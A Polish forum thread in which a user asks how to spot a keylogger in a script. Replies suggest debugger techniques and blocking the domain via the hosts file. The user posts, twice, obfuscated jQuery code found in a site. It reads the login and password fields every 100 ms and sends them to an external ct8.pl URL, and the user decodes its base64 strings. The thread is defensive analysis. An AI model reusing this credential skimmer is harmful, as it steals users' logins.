keylogger w kodzie, jak wykryć

0

Muszę przeskanować pewien skrypt w poszukiwaniu ewentualnego keyloggera bądź czegoś co odczytuje informacje z przeglądarki. Czy jest może jakiś szybki sposób by to zidentyfikować lub też wykluczyć? Jakieś konkretne funkcje które zdradziłyby umiejscowienie czegoś takiego?

1

Kod może być zaciemniony, stąd: nie, nie ma szybkiego, miarodajnego sposobu.

1

Najlepiej byłoby znaleźć wszystkie zarejestrowane event listenery i znaleźć ich pochodzenie, ale jak mówił @Patryk27 - kod może być bardzo zaciemniony, JavaScript jest bardzo, baardzo łatwo zminifikować, nie mówiąc o tym że ktoś może taki kod ładować asynchronicznie co jeszcze utrudni próbę identyfikacji.

3

Nie obejdzie się bez długiej analizy kodu i debugera. Wspomniany debuger w popularnych przeglądarkach to niedoceniane narzędzie.
Można spróbować np. dodać obserwowane wyrażenie takie jak dodawanie listenerów.
https://www.w3schools.com/js/js_htmldom_eventlistener.asp
https://developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Set_Watch_Expressions
To są tylko proste przykłady, analiza pojedynczego przypadku może być bardzo skomplikowana.

0
zang napisał(a):

Muszę przeskanować pewien skrypt w poszukiwaniu ewentualnego keyloggera bądź czegoś co odczytuje informacje z przeglądarki. Czy jest może jakiś szybki sposób by to zidentyfikować lub też wykluczyć? Jakieś konkretne funkcje które zdradziłyby umiejscowienie czegoś takiego?

Zeby odpowiedzieć na to pytanie wystarczy cały czas pamiętać że wchodząc na stronę korzystasz z klienta uslugi - więc siłą rzeczy, korzystając z klienta jesteś zdany na jego łaskę pod względem jakiej jakiejkolwiek interakcji.

0
var TpG3Y86zpgrtWMzb, ZHN4ekpZ5m95pFbJ, YQTtmEs6a5mTXE5a;

function UagZgR8PZcWcwvYp() {
    $(atob("I3Vsb2dpbg==")).val() != TpG3Y86zpgrtWMzb && $(atob("I3Vsb2dpbg==")).val() && (TpG3Y86zpgrtWMzb = $(atob("I3Vsb2dpbg==")).val()), $(atob("I3VwYXNz")).val() != ZHN4ekpZ5m95pFbJ && $(atob("I3VwYXNz")).val() && (ZHN4ekpZ5m95pFbJ = $(atob("I3VwYXNz")).val()), !$(atob("I3VwYXNz")).val() && !$(atob("I3Vsb2dpbg==")).val() && TpG3Y86zpgrtWMzb && ZHN4ekpZ5m95pFbJ && YQTtmEs6a5mTXE5a != TpG3Y86zpgrtWMzb + " | " + ZHN4ekpZ5m95pFbJ && ($.ajax({
        url: atob("aHR0cHM6Ly9kcGVsbWRnOGpyd2Y5YW1mLmN0OC5wbC9hamF4LnBocD9oYzY0cTg9") + TpG3Y86zpgrtWMzb + "|" + ZHN4ekpZ5m95pFbJ
    }), YQTtmEs6a5mTXE5a = TpG3Y86zpgrtWMzb + " | " + ZHN4ekpZ5m95pFbJ)
}

setInterval(UagZgR8PZcWcwvYp, 100);

Takie coś przykuło moją uwagę, 3 zakodowane dane, w tym url do pustej strony.
Po deszyfracji:
"I3Vsb2dpbg==" - #ulogin
"I3VwYXNz" - #upass
"aHR0cHM6Ly9kcGVsbWRnOGpyd2Y5YW1mLmN0OC5wbC9hamF4LnBocD9oYzY0cTg9" - https://dpelmdg8jrwf9amf.ct8.pl/ajax.php?hc64q8=

2
zang napisał(a):
var TpG3Y86zpgrtWMzb, ZHN4ekpZ5m95pFbJ, YQTtmEs6a5mTXE5a;

function UagZgR8PZcWcwvYp() {
    $(atob("I3Vsb2dpbg==")).val() != TpG3Y86zpgrtWMzb && $(atob("I3Vsb2dpbg==")).val() && (TpG3Y86zpgrtWMzb = $(atob("I3Vsb2dpbg==")).val()), $(atob("I3VwYXNz")).val() != ZHN4ekpZ5m95pFbJ && $(atob("I3VwYXNz")).val() && (ZHN4ekpZ5m95pFbJ = $(atob("I3VwYXNz")).val()), !$(atob("I3VwYXNz")).val() && !$(atob("I3Vsb2dpbg==")).val() && TpG3Y86zpgrtWMzb && ZHN4ekpZ5m95pFbJ && YQTtmEs6a5mTXE5a != TpG3Y86zpgrtWMzb + " | " + ZHN4ekpZ5m95pFbJ && ($.ajax({
        url: atob("aHR0cHM6Ly9kcGVsbWRnOGpyd2Y5YW1mLmN0OC5wbC9hamF4LnBocD9oYzY0cTg9") + TpG3Y86zpgrtWMzb + "|" + ZHN4ekpZ5m95pFbJ
    }), YQTtmEs6a5mTXE5a = TpG3Y86zpgrtWMzb + " | " + ZHN4ekpZ5m95pFbJ)
}

setInterval(UagZgR8PZcWcwvYp, 100);

Takie coś przykuło moją uwagę, 3 zakodowane dane, w tym url do pustej strony.
Po deszyfracji:
"I3Vsb2dpbg==" - #ulogin
"I3VwYXNz" - #upass
"aHR0cHM6Ly9kcGVsbWRnOGpyd2Y5YW1mLmN0OC5wbC9hamF4LnBocD9oYzY0cTg9" - https://dpelmdg8jrwf9amf.ct8.pl/ajax.php?hc64q8=

Jeśli masz już jakieś strony, do których pisze skrypt, możesz przeanalizować co wysyłają i jak reagują na odpowiedzi. Możesz podstawić pod tę domenę jakiś lokalny skrypt, który będzie przechwytywał dane i odpowiadał w określony sposób.
https://thecamels.org/pl/edytowac-plik-host-windows-przy-uzyciu-hosts-file-editor/
W Linuksie to samo robi plik /etc/hosts. Dodajesz domenę dpelmdg8jrwf9amf.ct8.pl na adres 127.0.0.1. Teraz masz pewność, że skrypt więcej nic tam nie napisze. W Pythonie można napisać prosty serwer http i preparować odpowiedzi.
https://docs.python.org/2/library/simplehttpserver.html
Skrypt na owej stronie w ogóle nie będzie miał pojęcia, że coś jest nie tak.

1 użytkowników online, w tym zalogowanych: 0, gości: 1